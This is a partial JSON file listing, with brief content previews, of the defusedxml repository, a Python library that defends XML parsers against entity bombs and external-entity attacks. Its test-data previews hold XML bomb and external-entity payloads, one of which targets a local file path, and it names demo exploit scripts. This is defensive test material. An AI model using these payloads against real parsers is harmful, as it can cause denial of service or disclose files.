    "preview": "---\nname: CI\n\npermissions:\n  contents: read\n\non:\n  push:\n    branches: \n      - master\n      - main\n      - v*.x\n  pull_"
  },
  {
    "path": ".github/workflows/pypi.yml",
    "chars": 2410,
    "preview": "---\nname: \"Build for PyPI (optionally: upload)\"\n\npermissions:\n  contents: read\n\non:\n  workflow_dispatch:\n    inputs:\n   "
  },
  {
    "path": ".gitignore",
    "chars": 106,
    "preview": "/build/\n/dist/\n__pycache__\n*.pyc\n*.pyo\n*.egg-info\n.tox\n.cache\n.coverage\ncoverage.xml\nMANIFEST\nREADME.html\n"
  },
  {
    "path": ".hgignore",
    "chars": 134,
    "preview": "^build/\n^dist/\n^core\n^MANIFEST\n^README\\.html\n\n^.project\n^.pydevproject\n^.settings\n\nsyntax: glob\n*.swp\n*.pyc\n*.pyo\n*.pyd\n"
  },
  {
    "path": "CHANGES.txt",
    "chars": 4113,
    "preview": "Changelog\n=========\n\ndefusedxml 0.8.0\n----------------\n\n*Release date: 2023*\n\n- Fix testing without lxml\n- Test on 3.13-"
  },
  {
    "path": "LICENSE",
    "chars": 2409,
    "preview": "PYTHON SOFTWARE FOUNDATION LICENSE VERSION 2\n--------------------------------------------\n\n1. This LICENSE AGREEMENT is "
  },
  {
    "path": "MANIFEST.in",
    "chars": 236,
    "preview": "include setup.py\ninclude README.txt CHANGES.txt LICENSE README.html\ninclude void.css\ninclude MANIFEST.in\ninclude setup.p"
  },
  {
    "path": "Makefile",
    "chars": 1373,
    "preview": "PYTHON=python3\nSETUPFLAGS=\nCOMPILEFLAGS=\nINSTALLFLAGS=\n\n.PHONY: inplace all rebuild test_inplace test fulltests clean di"
  },
  {
    "path": "README.md",
    "chars": 31790,
    "preview": "# defusedxml -- defusing XML bombs and other exploits\n[![Latest Version](https://img.shields.io/pypi/v/defusedxml.svg)]("
  },
  {
    "path": "README.txt",
    "chars": 27993,
    "preview": "===================================================\ndefusedxml -- defusing XML bombs and other exploits\n================"
  },
  {
    "path": "SECURITY.md",
    "chars": 292,
    "preview": "# Security Policy\n\n## Supported Versions\n\n| Version | Supported          |\n| ------- | ------------------ |\n| 0.8.0   | "
  },
  {
    "path": "defusedxml/ElementTree.py",
    "chars": 5651,
    "preview": "# defusedxml\n#\n# Copyright (c) 2013-2020 by Christian Heimes <christian@python.org>\n# Licensed to PSF under a Contributo"
  },
  {
    "path": "defusedxml/__init__.py",
    "chars": 1539,
    "preview": "# defusedxml\n#\n# Copyright (c) 2013 by Christian Heimes <christian@python.org>\n# Licensed to PSF under a Contributor Agr"
  },
  {
    "path": "defusedxml/cElementTree.py",
    "chars": 961,
    "preview": "# defusedxml\n#\n# Copyright (c) 2013 by Christian Heimes <christian@python.org>\n# Licensed to PSF under a Contributor Agr"
  },
  {
    "path": "defusedxml/common.py",
    "chars": 2492,
    "preview": "# defusedxml\n#\n# Copyright (c) 2013-2020 by Christian Heimes <christian@python.org>\n# Licensed to PSF under a Contributo"
  },
  {
    "path": "defusedxml/expatbuilder.py",
    "chars": 3732,
    "preview": "# defusedxml\n#\n# Copyright (c) 2013 by Christian Heimes <christian@python.org>\n# Licensed to PSF under a Contributor Agr"
  },
  {
    "path": "defusedxml/expatreader.py",
    "chars": 2174,
    "preview": "# defusedxml\n#\n# Copyright (c) 2013 by Christian Heimes <christian@python.org>\n# Licensed to PSF under a Contributor Agr"
  },
  {
    "path": "defusedxml/lxml.py",
    "chars": 4940,
    "preview": "# defusedxml\n#\n# Copyright (c) 2013 by Christian Heimes <christian@python.org>\n# Licensed to PSF under a Contributor Agr"
  },
  {
    "path": "defusedxml/minidom.py",
    "chars": 1884,
    "preview": "# defusedxml\n#\n# Copyright (c) 2013 by Christian Heimes <christian@python.org>\n# Licensed to PSF under a Contributor Agr"
  },
  {
    "path": "defusedxml/pulldom.py",
    "chars": 1170,
    "preview": "# defusedxml\n#\n# Copyright (c) 2013 by Christian Heimes <christian@python.org>\n# Licensed to PSF under a Contributor Agr"
  },
  {
    "path": "defusedxml/sax.py",
    "chars": 1477,
    "preview": "# defusedxml\n#\n# Copyright (c) 2013 by Christian Heimes <christian@python.org>\n# Licensed to PSF under a Contributor Agr"
  },
  {
    "path": "defusedxml/xmlrpc.py",
    "chars": 5013,
    "preview": "# defusedxml\n#\n# Copyright (c) 2013 by Christian Heimes <christian@python.org>\n# Licensed to PSF under a Contributor Agr"
  },
  {
    "path": "other/README.txt",
    "chars": 142,
    "preview": "This directory contains test and demo scripts for other frameworks and\nlanguages. I used them to examine the characteris"
  },
  {
    "path": "other/exploit_webdav.py",
    "chars": 974,
    "preview": "#!/usr/bin/python\n\"\"\"Demo exploit for WebDAV DoS attack\n\nAuthor: Christian Heimes\n\"\"\"\nfrom __future__ import print_funct"
  },
  {
    "path": "other/exploit_xmlrpc.py",
    "chars": 778,
    "preview": "#!/usr/bin/python\n\"\"\"Demo exploit for XML-RPC DoS attack\n\nAuthor: Christian Heimes\n\"\"\"\nfrom __future__ import print_func"
  },
  {
    "path": "other/perl.pl",
    "chars": 150,
    "preview": "#!/usr/bin/perl\n\nuse XML::Simple;\nuse Data::Dumper;\n\n$parser = new XML::Simple;\n$xml = $parser->XMLin(\"$ARGV[0]\");\n$data"
  },
  {
    "path": "other/php.php",
    "chars": 311,
    "preview": "#!/usr/bin/php\n<?php\n\n// $options = 0;\n// $options = LIBXML_NONET;\n$options = LIBXML_NOENT;\n\n/* LIBXML_NOENT doesn't hav"
  },
  {
    "path": "other/python_external.py",
    "chars": 1594,
    "preview": "#!/usr/bin/python\n\"\"\"Demo exploit for external entity expansion\n\nAuthor: Christian Heimes\n\"\"\"\nfrom __future__ import pri"
  },
  {
    "path": "other/python_genshi.py",
    "chars": 171,
    "preview": "#!/usr/bin/python\nimport sys\nfrom pprint import pprint\nfrom genshi.input import XMLParser\n\nwith open(sys.argv[1]) as f:\n"
  },
  {
    "path": "other/ruby-hpricot.rb",
    "chars": 92,
    "preview": "#!/usr/bin/ruby -w\nrequire 'hpricot'\n\nxml = File.read(ARGV[0])\ndoc = Hpricot(xml)\nputs doc\n\n"
  },
  {
    "path": "other/ruby-libxml.rb",
    "chars": 271,
    "preview": "#!/usr/bin/ruby -w\nrequire 'libxml'\n\ninclude LibXML\n\nclass PostCallbacks\n  include XML::SaxParser::Callbacks\n\n  def on_s"
  },
  {
    "path": "other/ruby-rexml.rb",
    "chars": 204,
    "preview": "#!/usr/bin/ruby -w\nrequire \"rexml/document\"\n\nxml = File.read(ARGV[0])\n# REXML::Document.entity_expansion_limit = 1000\nxm"
  },
  {
    "path": "pyproject.toml",
    "chars": 72,
    "preview": "[tool.black]\nline-length = 98\ntarget-version = ['py36', 'py37', 'py38']\n"
  },
  {
    "path": "setup.cfg",
    "chars": 139,
    "preview": "[bdist_wheel]\nuniversal = 1\n\n[aliases]\npackages = clean --all egg_info bdist_wheel sdist --format=gztar\nrelease = packag"
  },
  {
    "path": "setup.py",
    "chars": 1914,
    "preview": "#!/usr/bin/env python\nimport sys\nfrom distutils.core import Command\nimport subprocess\n\nfrom setuptools import setup\n\nimp"
  },
  {
    "path": "tests.py",
    "chars": 20817,
    "preview": "from __future__ import print_function\n\nimport io\nimport os\nimport sys\nimport unittest\nimport warnings\nfrom unittest impo"
  },
  {
    "path": "tox.ini",
    "chars": 924,
    "preview": "[tox]\nenvlist = {py36,py37,py38,py39,py310,py311,py312}-{lxml,nolxml},py313,pypy39,black,pep8py3,doc\nskip_missing_interp"
  },
  {
    "path": "void.css",
    "chars": 6387,
    "preview": "/*\nStylesheet for Docutils.\nBased on `blue_box.css` by Ian Bicking\nand `voidspace.css` by Ian Bicking, Michael Foord\nand"
  },
  {
    "path": "xmltestdata/cyclic.xml",
    "chars": 81,
    "preview": "<!DOCTYPE xmlbomb [\n<!ENTITY a \"123 &b;\" >\n<!ENTITY b \"&a;\">\n]>\n<bomb>&a;</bomb>\n"
  },
  {
    "path": "xmltestdata/dtd.xml",
    "chars": 213,
    "preview": "<?xml version=\"1.0\" encoding=\"utf-8\"?>\n<!DOCTYPE html PUBLIC \"-//W3C//DTD XHTML 1.0 Transitional//EN\"\n  \"http://www.w3.o"
  },
  {
    "path": "xmltestdata/dtd_element.xml",
    "chars": 129,
    "preview": "<?xml version=\"1.0\"?>\n<!DOCTYPE test [\n <!ELEMENT test (node)>\n <!ELEMENT node (#PCDATA)>\n]>\n<test>\n <node>A test</node>"
  },
  {
    "path": "xmltestdata/external.xml",
    "chars": 102,
    "preview": "<!DOCTYPE external [\n<!ENTITY ee SYSTEM \"http://www.w3schools.com/xml/note.xml\">\n]>\n<root>&ee;</root>\n"
  },
  {
    "path": "xmltestdata/external_file.xml",
    "chars": 104,
    "preview": "<!DOCTYPE external [\n<!ENTITY ee SYSTEM \"file:///PATH/TO/xmltestdata/simple.xml\">\n]>\n<root>&ee;</root>\n\n"
  },
  {
    "path": "xmltestdata/quadratic.xml",
    "chars": 103050,
    "preview": "<!DOCTYPE bomb [\n<!ENTITY a \"BBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBB"
  },
  {
    "path": "xmltestdata/schema-include.xsd",
    "chars": 351,
    "preview": "<xsd:schema xmlns:xsd=\"http://www.w3.org/2001/XMLSchema\">\n  <xsd:import namespace=\"http://www.w3.org/XML/1998/namespace\""
  },
  {
    "path": "xmltestdata/simple-ns.xml",
    "chars": 152,
    "preview": "<?pi data?>\n<!-- comment -->\n<root xmlns='namespace'>\n   <element key='value'>text</element>\n   <element>text</element>t"
  },
  {
    "path": "xmltestdata/simple.xml",
    "chars": 122,
    "preview": "<!-- comment -->\n<root>\n   <element key='value'>text</element>\n   <element>text</element>tail\n   <empty-element/>\n</root"
  },
  {
    "path": "xmltestdata/xalan_exec.xsl",
    "chars": 875,
    "preview": "<!-- Tested with xalan-j_2_7_1-bin.zip, Xerces-J-bin.2.11.0.tar.gz on\n     OpenJDK 1.7.0_15\n\n    $ LC_ALL=C java -cp xal"
  },
  {
    "path": "xmltestdata/xalan_write.xsl",
    "chars": 695,
    "preview": "<!-- Tested with xalan-j_2_7_1-bin.zip, Xerces-J-bin.2.11.0.tar.gz on\n     OpenJDK 1.7.0_15\n\n    $ LC_ALL=C java -cp xal"
  },
  {
    "path": "xmltestdata/xmlbomb.xml",
    "chars": 183,
    "preview": "<!DOCTYPE xmlbomb [\n<!ENTITY a \"1234567890\" >\n<!ENTITY b \"&a;&a;&a;&a;&a;&a;&a;&a;\">\n<!ENTITY c \"&b;&b;&b;&b;&b;&b;&b;&b"
  },
  {
    "path": "xmltestdata/xmlbomb2.xml",
    "chars": 88,
    "preview": "<!DOCTYPE xmlbomb [\n<!ENTITY a \"1234567890\">\n]>\n<root>text<bomb>&a;</bomb><tag/></root>\n"
  }
]

About this extraction

This page contains the full source code of the tiran/defusedxml GitHub repository, extracted and formatted as plain text for AI agents and large language models (LLMs). The extraction includes 52 files (239.1 KB), approximately 63.5k tokens, and a symbol index with 163 extracted functions, classes, methods, constants, and types. Use this with OpenClaw, Claude, ChatGPT, Cursor, Windsurf, or any other AI tool that accepts text input. You can copy the full output to your clipboard or download it as a .txt file.

Extracted by GitExtract — free GitHub repo to text converter for AI. Built by Nikandr Surkov.

Copied to clipboard!